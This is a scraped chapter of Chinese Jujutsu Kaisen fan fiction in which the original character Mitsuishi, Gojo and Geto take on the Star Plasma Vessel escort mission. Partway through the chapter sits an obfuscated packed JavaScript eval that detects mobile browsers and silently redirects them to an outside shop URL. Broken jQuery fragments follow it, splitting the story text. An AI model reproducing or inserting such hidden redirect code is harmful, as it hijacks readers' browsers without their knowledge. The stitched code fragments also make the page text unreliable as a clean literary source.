文趣网 > 都市小说 > 怀瑾握瑜 > 41.怀玉·玉折(一)
    燥热烦闷的盛夏裹挟着压抑的气息铺天盖地压来,

    整座城市都陷在永不停歇的忙碌里。

    前一年接踵而至的各类灾祸还残留着难以抹去的余波,

    无数淤积的负面情绪在人间发酵;

    估计还有那位东野医生的功劳,

    两股力量交织之下,滋生咒灵的土壤变得愈发肥厚。

    无形的怪物如同成群结队的蛆虫,

    源源不断从街巷、楼宇、人群心底钻出来,永无停歇。

    就连一直在接受封闭式训练的三石,

    也被频繁派往各地单独执行祓除任务。

    斩除污秽,

    吞噬咒灵;

    斩除污秽,

    吞噬咒灵。

    这般流程日复一日,

    循环往复,像一道挣脱不开的枷锁死死缠在身上。

    斩除污秽,吞噬咒灵。

    普通人永远无从体会,咒灵本身裹挟着怎样刺鼻反胃的气息。

    那感受,

    近乎是把一块浸透呕吐物、沾满腐烂污渍的抹布,

    硬生生完整吞咽进喉咙,

    腥酸黏腻的恶感顺着食道蔓延至四肢百骸,

    每一次吞咽都在消磨心神。

    斩除污秽,吞噬咒灵。

    我日日所见的景象,

    从来没有半分意外,

    全是世人刻意视而不见、藏在光鲜皮囊之下的丑陋与污浊。

    我清清楚楚明白这世间所有不堪,

    却依旧顶着咒术师的身份,

    一次次伸手,做出拯救普通人的选择。

    自那一天起,

    我便反复在心底告诫自己。

    从那一天开始……

    2007·6

    残破碎裂的建筑残骸铺满视野,

    碎石与扭曲钢筋交错堆叠,

    一道轻快的脚步声落在废墟顶端。

    五条悟散漫地踩在坍塌的楼板之上,

    漫不经心的声线从高处落下来,

    带着少年人独有的轻佻笑意:

    “来救你咯~歌姬。”

    他轻缓吐出歌姬的名字,

    墨镜遮挡下的视线牢牢锁着被重物压住、动弹不得的少女,

    语调裹着一层毫不掩饰的戏谑:

    “你在哭吗?”

    漆黑镜片挡不住内里翻涌的嘲弄,

    露在外面的一双苍蓝眼眸清亮张扬,

    十七八岁少年特有的顽劣锐气尽数藏在眼底,

    直白地戳着旁人狼狈的模样。

    歌姬胸腔里的火气瞬间直冲头顶,

    被碎石死死压住的四肢挣动了两下,

    咬着牙拔高声音反驳:

    “我根本没哭!你讲话能不能稍微顾及一点分寸!给我说敬语!!!”

    此刻她浑身被厚重建材牢牢禁锢,

    浑身酸痛难以动弹,偏偏抬眼对上的第一个人,

    就是向来爱拿她窘迫模样打趣的五条悟,愤怒

    与烦躁搅在一起,堵得心口发闷。

    而一旁的冥冥:

    “要是我真的掉眼泪了,你还会好心来安抚我吗?”

    五条悟语气轻飘飘地敷衍回去:

    “那我可实在招架不住,要头疼好一阵子。”

    一旁站在台阶高处的冥冥低低漾开一声轻笑,

    嗓音平缓温和地附和:

    “冥小姐你这么强,从来不会轻易落泪。”

    歌姬侧过头,望向楼梯平台并肩而立的两人,

    一句句围绕落泪、强弱的调侃不断钻进耳朵,

    积攒许久的怒火彻底压不住。

    她攥紧垂在身侧的拳头,

    冲着上方的白发少年高声宣泄情绪:

    “五条!我不需要你的半分施舍与帮助……”

    话音还未彻底消散,

    身后骤然炸开一声震耳欲聋的轰鸣,

    磅礴厚重的巨响裹挟狂风席卷而来,

    那股巨大到难以抗衡的冲击力,瞬间浇灭了歌姬刚刚翻涌而起的满腔暴怒。

    平缓温和的声线自侧边缓缓响起,夏油杰踏着碎石缓步走近,目光落在仍困在重物之下的歌姬身上,语气带着几分刻意调侃:

    “放在那儿别动啊,等会儿来吸收。”

    “可别把火气全都憋在心底,回头积攒的负面情绪只会滋生更多咒灵哦~歌姬。”

    他侧过头看向身侧嬉皮笑脸的五条悟,轻抬眉梢提点一句:

    “悟,专门欺负弱者,未免不太体面。”

    墨镜后的少年半点没有收敛玩笑的意思,轻飘飘地回怼:

    “天底下哪有人会特意去找强者打趣消遣?”

    一旁静静立在台阶上的冥冥见状,

    唇边漾开一抹浅淡笑意,轻声打趣:

    “夏油同学,你气人的态度真是浑然天成。”

    接连被两人轮番调侃,

    歌姬脸颊憋得泛出一层青郁,

    心底已经默默盘算着该找什么法子,

    好好回敬这两个总爱拿自己窘迫模样寻开心的家伙。

    就在她暗自盘算之际,一道熟悉的呼喊忽然从前方传来。

    “歌姬前辈。”

    听见这声呼唤的瞬间,

    歌姬紧绷紧绷的情绪骤然松垮,

    方才阴郁的脸色一扫而空,眉眼瞬间舒展,绽开真切的笑意。

    “硝子!!!”

    她语调里满是惊喜。

    硝子也轻声询问:

    “这两天完全没有你的消息,我一直很担心。”

    “硝子!!!!”

    歌姬再也按捺不住情绪,

    挣开压在身上的建材,快步朝着对方冲过去,

    一把将硝子紧紧拥进怀里,语气带着撒娇与恳求,

    “硝子!!你可千万不要变成那两个爱捉弄人的家伙!!!”

    硝子被她抱住,低低地笑出声:

    “怎么会呢,我才不会变成他们那种的人渣。”

    一旁的五条悟见状,拖长了语调慢悠悠开口调侃:

    “歌姬刚刚跑过的地面,是会坍塌的哦~”

    身侧的夏油杰也跟着弯起眼,直接接上一句:

    “话真多~你好烦~”

    “嗯?”

    歌姬开始东张西望,

    “明理呢?明理没来吗?”

    就站在五条悟旁边的三石举起手来,

    “Hi~歌姬前辈,”

    “一来就抱着硝子撒娇却不想着我?我可是记下来了呢。”

    看着两个人没事,三石准备打电话给夜蛾汇报情况。

    “对。”

    “她们没事,估计是咒灵导致时间受到影响吧。”

    “我吗?”

    听见高层的老头找自己三石就觉得厌烦,

    她肯定又要回去了,

    估计还有些见不得人的任务。

    “我怎么知道找我干嘛?”

    “行,知道了,我马上回去。”

    可一挂电话,

    冥冥微笑着问着四个人——

    “帐呢?”

    哈?

    呵呵~~

    因为要去见高层,

    三石直接跳过了三个人被夜蛾挨罚的场面。

    “让我去跟踪人吗?”

    “而且马上出发?”

    “护送星浆体的任务不需要我吗?”

    因为情报工作,五条悟和夏油杰即将接到护送星浆体任务三石早已经提前知晓。

    结果得到了天元大人不需要她的答案。

    “行,说吧,跟踪谁?”

    “很简单,你只用把他最近干了什么一五一十的汇报上来就行。”

    “所以啊——谁?!”

    “禅院甚尔。”

    画面切换至场地另一侧空旷的篮球场,

    塑胶地面还残留着白日晒透的余温,

    五条悟与夏油杰正隔着半空翻飞的篮球,你来我往地争执不休。

    他指尖轻巧颠着篮球,

    一次次腾空跃起,又稳稳落回掌心,

    漫不经心地抛出心底的疑惑:“

    说实在的,非要严格遵守守的束缚,真的有这么大必要吗?”

    “就算被寻常普通人撞见,好像也没什么大碍吧。”

    五条悟抬眼瞥向一旁正架着他墨镜的硝子,

    语气随意地继续诉说自己的想法,

    丝毫没把普通人看见术式这件事放在心上:

    “就算头顶笼罩着结界帐,也不会耽误我们正常交谈。反正普通人没有术式资质,根本看不见咒灵与术式流转的痕迹。”

    话音落下,他抬手顺势将篮球朝着篮筐抛去,

    球体划出一道利落弧线,

    却在半空被夏油杰伸手稳稳拦了下来。

    夏油杰指尖扣住球面,

    神色认真地驳回对方的随性想法:

    “当然不能这么想。想要从根源抑制咒灵滋生,最关键的一点就是维持普通民众内心的安稳平和。”

    说话间,硝子走上前,将方才借来的墨镜递回五条悟手中。

    夏油杰一边单手轻轻拍动篮球,

    一边把内里的道理细细讲透:

    “正因如此,那些常人肉眼无法察觉的危险,我们才必须尽全力遮掩起来。”

    “不止是这一点……”

    “好好好,我都听明白了。”

    五条悟不耐烦地打断他,

    顺势伸手从夏油杰掌心抢过篮球,

    抬手一投,精准落进篮筐。

    他斜斜靠在篮架边,半是打趣半是无奈地吐槽:

    “你这套总爱讲大道理的习惯,现在都传染给三石了,有时候连我听着都觉得招架不住。”

    “只不过,时时刻刻费心去庇护那些弱小之人,实在是……”

    “够呛啊!!!”

    力道十足的篮球破空飞旋,直直砸向夏油杰的方向,

    少年带着几分叛逆的执拗开口,

    一字一句撞在空旷球场里:

    “弱肉强食,这本就该是世间运转的常态,弱小之人注定要向强者低头。”

    夏油稳稳接住飞来的篮球,眉眼间带着一贯的沉稳,

    认真地向对面的人重申心底坚守的信条:“

    你最好记清楚,悟。咒术师与生俱来的力量,初衷本就是守护那些没有术力的普通人。”

    “又开始念叨这套大道理了。”

    五条悟拖长语调,满是不耐。

    夏油抬手将篮球投出,

    球体擦着篮筐边缘打转几圈,

    最终还是没能落进篮内,

    他侧过头,语气掺了几分戏谑调侃:

    “怎么,听多了心生厌烦?”

    “非要为手中的力量堆砌一堆冠冕堂皇的说辞、把责任挂在嘴边,这本来就是弱者才会找的借口。”

    五条悟抱着双臂,毫不掩饰自己的观点,

    “这种条条框框的说教,三石是绝对不会挂在嘴边反复念叨的。”

    话音落下,他随手抬手抛球,

    篮球自上而下擦过篮筐内壁,

    哪怕轻轻弹起一瞬,

    最后还是利落坠入网兜,

    投出一记无可挑剔的进球。

    一旁的夏油早已被他这番言论磨得耐心尽失,

    眉峰微微蹙起:

    “我方才说的这些,和三石没有半点关系。”

    “别拿这些空话自我感动了。”

    五条悟冲他做了个夸张的鬼脸,

    眉眼间全是故意挑衅的坏笑。

    站在一旁全程旁观的硝子默默往后轻挪半步,

    心底只剩一个念头:

    快跑。

    下一秒——

    浓重浑浊的咒灵在夏油杰身后翻涌成型,

    庞大的阴影笼罩整片塑胶场地,

    他周身戾气骤然翻涌,

    径直朝着五条悟冲过去对峙。

    “换个地方好好聊聊,悟。”

    “你是嫌独处冷清?想找人陪就自己去!”

    幸好来人打断了这次的博弈,

    “干嘛呢?”

    是背着咒具箱的三石,

    现在咒心的双眼让她可以毫无保留的看到刚刚的咒力残秽,

    “呵——小孩子打架。”

    “老鬼头找你们,还不过去吗?”

    说着,三石就已经转身离开去教室的方向了,

    “找我们有事?”

    “简单又很难的任务吧?”

    “可恶!说话能不能直白一些?”

    “哟,火气不小嘛,五条?”

    推开教室门时,夜蛾正道早已等候在屋内,

    伏案的身影衬得整间屋子气氛沉了几分,

    他的语气带着难以掩饰的沉重。

    “坦白来讲,这份任务的担子重到超乎想象,但天元大人已经指明,这件事必须交由你们两个人全权负责。”

    他顿了顿,摊开手中记载任务详情的文件,缓缓道出委托内容,

    “本次一共两项委托。所谓星浆体,便是能够适配天元大人、完成同化仪式的适配者,你们的任务,一是全程守护这名少女,二则是在仪式结束后,亲手执行抹除。”

    五条悟闻言眉峰骤然挑起,眼底满是诧异,下意识反问出声:

    “既要贴身护卫,最后还要亲手了结那个小姑娘?”

    夜蛾淡淡点头确认:

    “没错。”

    “你难不成是年纪大了,脑子都变得糊涂了?”

    五条悟半是调侃半是不解地嘟囔,

    “毕竟年岁摆在这儿,也难怪做出这种矛盾的安排。”

    一旁的夏油杰也附和:

    “我看他是笃定自己稳坐下一任校长,才变得随心所欲了吧。”

    “夏油。”

    三石站在一旁轻轻出声提醒,打断他略带失礼的揣测,

    语气放软几分,“

    别乱开玩笑了。”

    夏油杰温和地接话,顺势将话题拉回正事上:

    “先不说玩笑,天元大人是要启动初次同化仪式了是吗?”

    五条悟一脸茫然地歪头:

    “哈?同化是什么意思?”

    “五条,你居然连这件事都不清楚吗?”

    望着他全然不解的模样,

    三石无奈轻叹一口气,

    慢慢拆解背后的原理。

    “天元大人掌握的术式名为不死,可这不代表他能永久保持原本的形体,“

    “并非真正意义上的不老。倘若只是身体缓慢老化尚且无碍,可当岁月堆积的衰老抵达临界值时,他体内的术式便会自主启动重构程序。”

    “也就是所谓的【进化】。”

    夜蛾顺着三石刚刚说出的内容,

    沉声把后续的后果完整道来:

    “一旦彻底剥离人类的躯体,天元大人便会蜕变为超脱凡人的高等存在。”

    “听起来不是挺完美的吗?”

    五条悟单手掌着脸颊,漫不经心地搭话,眼底还浮着几分看热闹般的赞叹,

    “光是想想都觉得帅得不行……”

    他整个人松松散散倚着墙面,

    全然一副吊儿郎当的模样。

    “一旦抵达那种境界,属于‘自我意志’的意识便会彻底消散。”

    夜蛾话锋骤然沉重,

    “待到那时,如今守护结界的天元大人,也就不复存在了。”

    “全国各处的咒术高专、支撑整个咒术界运转的据点结界,“

    “所有用来镇压、监控咒灵的屏障,全部依托天元大人的力量加固成型。”

    “一旦她消失,结界防护会瞬间崩解,世间的安保秩序全面崩盘,所有祓除任务都将从开展。”

    夏油接着夜蛾的话继续说道:

    “事态最坏的走向,便是失去理智的天元化作与人类对立的巨大威胁。”

    “也正因如此,每隔五百年,她就必须完成一次与星浆体——也就是适配人类少女的同化仪式,借此重置自身肉身的内在信息。”

    “躯体完成全新更迭之后,她体内的术式会回到稳定状态,也就不会朝着失去人性的方向持续演化。”

    夏油杰在一旁静静梳理清楚整套逻辑,低声把这些原理转述明白,五条悟听完全程安静点头,慢慢消化其中的利害。

    “原来是这么一回事。虽说超脱进化听着很酷,但真要是变成没有理智的怪物就彻底完蛋了。”

    五条悟随口打了个浅显比方,“

    所以才要每隔一段时间重置一次,相当于重新回炉改造。”

    “哈?!”

    这句粗糙直白的比喻,

    让夏油杰与站在一旁三石同时陷入短暂沉默。

    三石轻咳一声缓和气氛,轻声开口:

    “虽说知道少,但大致核心倒是没说错。”

    夏油杰无奈轻笑一声,顺着他的话妥协:

    “算了,这么概括也勉强说得通。”

    五条悟轻轻撇了撇嘴,

    发出一声不在意的轻嗤。

    可下一秒,我脸上散漫的神色尽数褪去,神情骤然紧绷肃穆,准备说出任务里最残酷的部分。

    “那个星浆体少女的信息泄露了。”

    夜蛾侧身转向前方桌上的电脑屏幕,

    指尖轻点调出资料,

    将两股暗藏杀机的势力清晰划分开来。

    “如今一心想要夺走星浆体、打乱同化仪式的对手,主要分为两大阵营。”

    他顿了顿,逐条说明两股势力的目的,

    “其一,是妄图让天元大人彻底失控、借此颠覆整个咒术界的诅咒师集团Q;“

    “其二,则是狂热崇拜、妄图独占天元力量的宗教组织盘星教。”

    “天元大人与星浆体的同化仪式,定在五天后的满月之夜。”

    “你们必须在此之前全程护住少女,平安将她护送到天元大人所在之处。一旦任务失败,寻常普通人的日常安稳都会遭到牵连,”

    “这件事,务必拼尽全力完成!!!”

    “遵命!!!”

    两个男生势在必得的样子直接让一旁的三石觉得——

    虽然是最强,但真不靠谱。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17798270|210038||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “老鬼头,这次任务我不参加真的能行吗?”

    “啊?三石你不去啊?”

    “谁说我要和你们去的?我还有别的任务。”

    “那你在这儿干嘛?”

    “找老鬼头说些事情。”

    说着,三石和夜蛾已经走出来拉好了门,

    避免让教室里面的那两个听见。

    “怎么了?按照计划你不是应该走了吗?”

    “对,但是您知道我这次的任务是什么吗?”

    “不知道,怎么了?”

    “让我去跟踪禅院甚尔!”

    ?!

    “你是担心......禅院家的人动手脚是吧?”

    “其实也不算,但就是不放心,毕竟虽然他已经不是禅院家的人了,

    但至少血脉在那里,又是天与咒缚,”

    “而且,他不是已经离开禅院家当普通人去了吗?为什么又要去跟踪他?”

    夜蛾也很疑惑,

    “至少现在看来,三家对于你不会出手的,毕竟咒术界都知道你的咒心,他们也不敢轻易动你。”

    “总之,多加小心吧。”

    “是,老师。”

    “对了,您还是别告诉五条。”

    “知道,你都单独找我了。”

    当然,这两个人知道有人在偷听墙角,

    三石小心翼翼地走过去,

    一拉——

    两个人直接蹲在门前,

    尴尬地看着三石,

    “干什么呢?”

    “没什么没什么。”

    “唉——你俩真是越看越不靠谱啊......”

    夜蛾看了直摇头。

    “三石,你真的不去?”

    “怎么?是咱们三个很久没有一起出任务了想我了不是?”

    “切——谁想你啊。”五条悟做了一个鬼脸,

    “也是,反正我马上就走,也不用看到你们两个了。”

    “什么任务?走这么急。”夏油杰问到,

    “没什么,总之,很简单,不会死的那种。”

    三天后

    自动贩卖机冰凉的金属台面摆着一罐刚取出的可乐,

    五条悟指尖扣着冰凉罐体,

    和夏油杰并肩站在街边低声探讨着这次任务潜藏的两股敌人。

    “诅咒师集团Q的目的我完全能明白,只是有一点始终想不通。”

    五条悟晃了晃手里的汽水,语气满是困惑,

    “那群信奉星浆教的人,为何同样执意要对那个小姑娘下杀手?”

    两人踏着闲散散漫的步子,

    一路朝着此行目的地前行,

    夏油杰轻声道出背后的缘由:

    “他们所虔诚供奉的,是未曾掺杂凡俗血肉、纯粹完整的天元大人。在他们眼中,星浆体这种凡人躯体属于杂质,绝不能容许同化仪式顺利完成。”

    踏入升降电梯密闭狭小的空间后,

    夏油杰借着电话,

    继续同身旁的五条悟梳理风险轻重:

    “星浆教内部没有术力持有者,整体威胁并不算高,不必过度分心提防;真正需要我们时刻绷紧神经戒备的,是诅咒师集团Q。”

    “知道啦知道啦,想来也不会出什么大乱子。”

    五条悟满不在意地晃着可乐罐,

    随手将墨镜推上头顶,眼底带着几分自得,

    “再说咱们二人是当下最强,校方才特意指派我们执行任务,三石则另有安排。”

    夏油杰抬眼望向他,面上浮起几分无奈又难以理解的神色,

    缓缓开口:

    “我说,悟,有句话我早就想同你提一提。”

    “往后与人交谈,最好不要再用那么张扬随意的自称ore(我)。”

    五条悟闻言一愣,手中力道下意识收紧,

    整罐铝制可乐在掌心被压缩成巴掌大小的一团:

    “啊?为什么突然说这个?”

    走出电梯,外头的天光漫落下来,

    夏油杰耐着性子细细解释:

    “往后我们极有可能会与天元大人会面,“

    “对方身份辈分远高于你,换成更为谦和的watashi(我),

    或是沉稳一点的boku(我),

    才合乎礼数,也不会让年纪比你小的人感到压迫惶恐。”

    “不要,我才不想改。”

    五条悟当即干脆利落地拒绝。

    夏油杰望着他油盐不进的模样,

    轻轻叹了口气:

    “你这家伙真是……算了,这件事暂且搁置,“

    “等之后和三石说,再一起同你好好聊聊。”

    夏油杰到达目标住所门前,

    指尖落在门铃按钮上轻轻一按,屋内很快传来一道简短应答。

    “来了。”

    话音落下的刹那,刺耳的嗡鸣骤然炸开,电流激荡的滋啦声响撕裂静谧。

    夏油杰眉心骤然一拧,心底生出浓重的疑惑,

    还未等他理清状况,

    剧烈的爆炸便轰然席卷整栋楼层,

    瞬间让他看清对方暗藏的杀招。

    守在外围的五条悟同步捕捉到室内异动,

    周遭火光碎石飞溅。

    千钧一发之际,

    夏油杰召唤出体内咒灵形成屏障护住自身,堪堪从爆炸余波里脱身。

    五条悟的声音传来:

    “还活着?”

    “暂时无恙,至少我还活着。”

    夏油杰稳住身形,目光死死锁住破碎的窗边

    “倘若那个小鬼就此殒命,不会算在我们头上吧?”

    五条悟抱怨着,

    视线里一道人影从高空坠落,

    夏油杰再无半分迟疑,

    操控咒灵狠狠撞碎玻璃窗,借着咒灵的力量纵身跃出窗外,朝着坠落的方向急速追去。

    镜头切回屋内,

    诅咒师集团Q的成员香薰拖拽着另一个人的躯体,低声自顾自呢喃,语气里毫无半分愧疚。

    “要怪就去怨恨天元大人,别怪我动手。”

    香薰话音刚落,

    便惊觉空中异动,

    惊愕地低呼出声:“什么?!”

    一只通体粉嫩的魔鬼鱼浮游在半空,

    少年稳稳将星浆体护在怀中,挡在了她身前。

    夏油杰无奈地抬手揉了揉眉心,语气却仍旧温柔:

    “能不能别闹出这么大动静?我早上才被高层训斥一通。”

    看着怀中的少女身上,

    夏油杰心底已然确认她的身份。

    香薰打量着身上统一的高专制服,冷声发问:

    “看你这件衣服,是咒术高专的术师没错吧?”

    “把那小鬼交出来,不然杀了你。”

    “我听不清,你最好靠近点说。”

    听见夏油那边星浆体安然无恙的消息,

    五条悟语调轻快地吐出一句感慨:

    “哎呀,万幸万幸。”

    数把利刃裹挟破空之声朝他飞速刺来,

    却在触及他身前半米处骤然停滞,

    六眼衍生的无下限术式将所有攻势尽数拦在外围。

    他望着悬浮半空动弹不得的刀刃,

    语气漫不经心地赞叹一声:

    “这招效果不错。”

    身侧的敌人见状,一下接一下地拍起手掌,

    语气里掺着几分打量与挑衅:

    “你就是五条悟吧,你可是名人。“

    “外界都传你实力顶尖,今日我倒要亲眼瞧瞧,究竟是不是浪得虚名。”

    五条悟双手随意插进裤袋,

    身姿松垮地立在原地,

    静静打量着眼前轻视自己的对手,

    唇角勾起一抹玩味的弧度:

    “不如我们定下一条对战规矩。”

    “规矩?”

    对方低声重复,眼底满是警惕。

    “我可不想打斗动静闹得太大,回头还要被上面骂一顿。”

    五条悟缓步朝对方逼近,每一步都踩得从容,眼底藏着毫不掩饰的戏谑。

    “只要你跪地痛哭道歉,我便留你一条性命,这就是我说的规矩。”

    这般轻辱彻底激怒对面的诅咒师,

    对方厉声嘶吼:“

    狂妄小子!!!”

    没人察觉,

    远处隐蔽的角落之中,

    两道男人的身影正将这场对峙尽收眼底,一举一动全被监视。

    其中一人低声开口,

    语气平淡无波:“好戏要开场了——”

    “星浆教没有能正面抗衡术师的战力,但给出的报酬十分丰厚,这笔交易完全值得接手。”

    另一人轻声反问:

    “那你这边,是什么打算?”

    “刺杀星浆体的差事,这几日你考虑得怎么样了?”

    “禅院?”

    “我早已脱离禅院一族,现在姓伏黑。”

    男人淡淡应下,随即便干脆接下任务,

    “行啊,这活儿我接了,也不枉费那个跟了我三天的女孩啊......”